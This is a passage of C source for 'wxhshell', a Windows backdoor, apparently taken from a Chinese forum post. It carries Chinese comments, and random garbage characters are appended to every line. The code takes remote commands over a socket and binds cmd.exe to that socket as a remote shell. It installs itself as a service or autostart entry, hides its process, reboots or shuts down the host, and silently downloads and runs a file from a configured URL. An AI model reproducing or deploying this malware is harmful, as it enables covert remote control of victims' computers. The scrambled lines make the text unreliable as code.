      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); |N0RBa4%  
    break; a"8H(HAlNn  
  } sOm&7A?  
  // 安装 J+=?taZ  
  case 'i': { yJ?= H H?  
    if(Install()) KMXd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m}]\^$d  
    else $1n\jN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )D" 2Q:  
    break; -H$C3V3]  
    } %JuT'7VB  
  // 卸载 XhmUtbs  
  case 'r': { l@g%A# _  
    if(Uninstall()) 9-E dT4=r,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^4=%~Yx  
    else `%$+rbo~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ddEV@2F  
    break; ~T9wx   
    } U,V+qnS  
  // 显示 wxhshell 所在路径 cG5u$B  
  case 'p': { Hx NoV.q  
    char svExeFile[MAX_PATH]; w~>tpkUB  
    strcpy(svExeFile,"\n\r"); \Z_29L w=  
      strcat(svExeFile,ExeFile); vOU9[n N[  
        send(wsh,svExeFile,strlen(svExeFile),0); z0?IQzR^T  
    break; |b+CXEzo  
    } Wo~;h (6  
  // 重启 $j"BHpN  
  case 'b': { v8>bR|n5  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {`V ^V_  
    if(Boot(REBOOT)) newURb,-!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); VJgYXPE `  
    else { N]&:xd5  
    closesocket(wsh); ?cB26Zrcb  
    ExitThread(0); qb +Gjgp  
    } fy={  
    break; !_>o2  
    } Dq`$3ZeA  
  // 关机 [n&SA]a  
  case 'd': { F87c?Vh)K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2!GyQ@&[W  
    if(Boot(SHUTDOWN)) WntolYd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %nyZ=&u  
    else { F-GH?sfvi  
    closesocket(wsh); Gq{);fq  
    ExitThread(0); 9z7rv,  
    } b ; U  
    break; X;CRy,  
    } 63c\1]YB.  
  // 获取shell =*KY)X  
  case 's': { ^a=V.  
    CmdShell(wsh); l{hO"fzy  
    closesocket(wsh); ;jFUtG  
    ExitThread(0); q:9CFAX0=  
    break; #M|q}jA|  
  } U$LI~XZM  
  // 退出 +f'@  
  case 'x': { BB.120v&N  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8JU{]Z!G<;  
    CloseIt(wsh); s,H }km  
    break; oT"7O 5v  
    } K k|mV&3J  
  // 离开 l4\!J/df  
  case 'q': { A}_0iwG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hpo*5Va  
    closesocket(wsh); CQH^VTQ  
    WSACleanup(); d^I:{Ii'  
    exit(1); 15R:m:T  
    break; 3z -="_p  
        } NGmXF_kqN  
  } qEM,~:lTn  
  } jfpbD /  
o&Y R\BI/  
  // 提示信息 Ted!*HKlB  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M2LW[z  
} (/A 6kp?  
  } "89L^I  
F{laA YE  
  return; 76b2 3|  
} aMaqlqf  
Vw5Pgtx  
// shell模块句柄 fK+[r1^  
int CmdShell(SOCKET sock) R*VEeLx  
{ `h<>_zpjY  
STARTUPINFO si; ^_k`@SU  
ZeroMemory(&si,sizeof(si)); UH#S |o4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :b<<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; UD_8#DO{m1  
PROCESS_INFORMATION ProcessInfo; @-.Tgpe@a  
char cmdline[]="cmd"; L 7l"*w(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L\\'n )  
  return 0; fnK H<  
} L6J.^tpO  
0[ZwtfL1  
// 自身启动模式 jV(b?r)eT{  
int StartFromService(void) 4Q~++PKBe  
{ 51`*VR]`K  
typedef struct  ,<U  
{ j4$NQ]e^4  
  DWORD ExitStatus; G@rV9  
  DWORD PebBaseAddress; DlQ*'PX7  
  DWORD AffinityMask; 0">9n9  
  DWORD BasePriority; vxXrVPU3  
  ULONG UniqueProcessId; S(G&{KG  
  ULONG InheritedFromUniqueProcessId; J1Oe`my  
}   PROCESS_BASIC_INFORMATION; /m h #o  
XRXQ 7\n  
PROCNTQSIP NtQueryInformationProcess; o^+g2;Ro  
Em/? 4&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'y|p)r"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n(j5dN>]  
`\Te,  
  HANDLE             hProcess; BP8jReX^  
  PROCESS_BASIC_INFORMATION pbi; GyGF<%nq  
4*?i!<N9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2 xt$w%  
  if(NULL == hInst ) return 0; =A<a9@N}N  
)uy2,`z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ML:H\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Vs, &  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iV.j!H7o  
`bjPOA(g  
  if (!NtQueryInformationProcess) return 0; $q0i=l&$&  
1a'0cSH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9zlhJ7i  
  if(!hProcess) return 0; r^;1Sm  
Pk )H(,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 077 wk  
YeVkX{y  
  CloseHandle(hProcess); >?r8D48`  
$uYfy<  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0[7tJbN  
if(hProcess==NULL) return 0; !^qpV7./l  
; e)vk|  
HMODULE hMod; hGj`IAW  
char procName[255]; z;PF% F  
unsigned long cbNeeded; T;{"lp.  
;f9a0Vs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )\QPUdOvx  
5k`Df/  
  CloseHandle(hProcess); tWITr  
5.F/>?<  
if(strstr(procName,"services")) return 1; // 以服务启动 #NQx(C  
-~&T0dt~  
  return 0; // 注册表启动 p~h [4hP  
} dW Vm'd  
-H"^;37T"  
// 主模块 @P6*4W  
int StartWxhshell(LPSTR lpCmdLine) RpU.v `  
{ 9bu1Ax1M  
  SOCKET wsl; pRFlmg@/}  
BOOL val=TRUE; '?qI_LP?  
  int port=0; Z^%aXaf8  
  struct sockaddr_in door; ]ujXPK=t  
NJPp6RZ%  
  if(wscfg.ws_autoins) Install(); 58gkE94  
3/EJ^C  
port=atoi(lpCmdLine); SVqKG+{My  
eOs4c`  
if(port<=0) port=wscfg.ws_port; @T&w n k  
; nYR~~  
  WSADATA data;  u'qc=5  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; jl,>0 MA  
mLH,6rO9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   KfV& 7yi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =|_k a8{?  
  door.sin_family = AF_INET; M6"a w6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {{ +8oRzY  
  door.sin_port = htons(port); dS;Ui]/J  
\>c1Z5H>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { TS@U0Ror  
closesocket(wsl); 7 MG<!U  
return 1; 4[n[Ch=lu  
} betTAbF  
!X+}W[Ic^  
  if(listen(wsl,2) == INVALID_SOCKET) { KqFiS9 N5  
closesocket(wsl); i#(+Kxr]>  
return 1; Y>I9o)KR  
} 30Udba+{]p  
  Wxhshell(wsl); cb%ML1c  
  WSACleanup(); :?H1h8wbCt  
z?.XVk-  
return 0; - e_B  
/R[P sB  
} EL;OYW(  
#hh7fE'9  
// 以NT服务方式启动 & hv@ &  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Hw%lT}[O  
{ ZBXn&Gm  
DWORD   status = 0; N3@gvS  
  DWORD   specificError = 0xfffffff; i?|b:lcV  
m";?B1%x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'Jl3%axR  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C&&33L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D<(VP{ ,G  
  serviceStatus.dwWin32ExitCode     = 0; JJu}Ed_  
  serviceStatus.dwServiceSpecificExitCode = 0; (zIF2qY  
  serviceStatus.dwCheckPoint       = 0; ]QmY`pTB`  
  serviceStatus.dwWaitHint       = 0; 1owe'7\J  
0l~z0pvT  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); i z dJ,8  
  if (hServiceStatusHandle==0) return; ;Wig${  
'2v$xOh!y  
status = GetLastError(); (V# *}eGy  
  if (status!=NO_ERROR) -ei+r#  
{ [<IJ{yfx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L?r\J8Ch<  
    serviceStatus.dwCheckPoint       = 0; p@%H. 5&&  
    serviceStatus.dwWaitHint       = 0;  Y$nI9  
    serviceStatus.dwWin32ExitCode     = status; .oz(,$CS"  
    serviceStatus.dwServiceSpecificExitCode = specificError; fx = %e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `;z;=A*  
    return;  4B'-tV  
  } =xRxr @  
);L+)UV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !l~3K(&4  
  serviceStatus.dwCheckPoint       = 0; B}npom\tC  
  serviceStatus.dwWaitHint       = 0; +M.!_2t$2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 'T*h0xX  
} -|`E'b81  
f4&k48Ds  
// 处理NT服务事件,比如:启动、停止 },vVc/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P*9L3R*=N  
{ nIv/B/>pZ  
switch(fdwControl) F/0x` l  
{ 5c-'m? k  
case SERVICE_CONTROL_STOP: *" ,"u;&  
  serviceStatus.dwWin32ExitCode = 0; <77v8=as5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,=y8[(h  
  serviceStatus.dwCheckPoint   = 0; UjH+BC+9`b  
  serviceStatus.dwWaitHint     = 0; }7Y @u@R  
  { Df=zrs["  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J]qx4c  
  } J_>nn  
  return; eLyaTOZadu  
case SERVICE_CONTROL_PAUSE: rI4N3d;C  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _43 :1!os  
  break; 3R ZD=`  
case SERVICE_CONTROL_CONTINUE: znu [i&\=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; i`" L?3T  
  break; yMBFw:/o  
case SERVICE_CONTROL_INTERROGATE: WkK.ON^  
  break; ZIvP?:=!  
}; 6D1tRo  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E/uKzzD9  
} Ub<^;Du5  
<!I^xo [  
// 标准应用程序主函数 6%2\bI.#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )}5f'TK  
{ O - N> X  
=-8y =  
// 获取操作系统版本 ) GF>]|CG  
OsIsNt=GetOsVer(); Dp" xO<PE2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); eHH qm^1z  
(vr v-4  
  // 从命令行安装 6;hZHe'W  
  if(strpbrk(lpCmdLine,"iI")) Install(); R*z:+p}oHy  
zqAp7:  
  // 下载执行文件 ~Is-^k)y  
if(wscfg.ws_downexe) { s+E-M=d0e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #;9n_)  
  WinExec(wscfg.ws_filenam,SW_HIDE); !UW{xHu  
} 6yPh0n  
WU<C7   
if(!OsIsNt) { b5d;_-~d  
// 如果时win9x,隐藏进程并且设置为注册表启动 p_l.a  
HideProc(); bAm ,gP  
StartWxhshell(lpCmdLine); YlEV@  
} `KzNBH,W  
else C9}m-N  
  if(StartFromService()) N.qS;%*o{e  
  // 以服务方式启动 y/yg-\/XF  
  StartServiceCtrlDispatcher(DispatchTable); {B+{2;Zk  
else ICB'?yZ,  
  // 普通方式启动 8i'EO6  
  StartWxhshell(lpCmdLine); %!QY:[   
;+iw?"  
return 0; SoJ'y6  
}
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只看该作者 1 发表于: 2006-10-10
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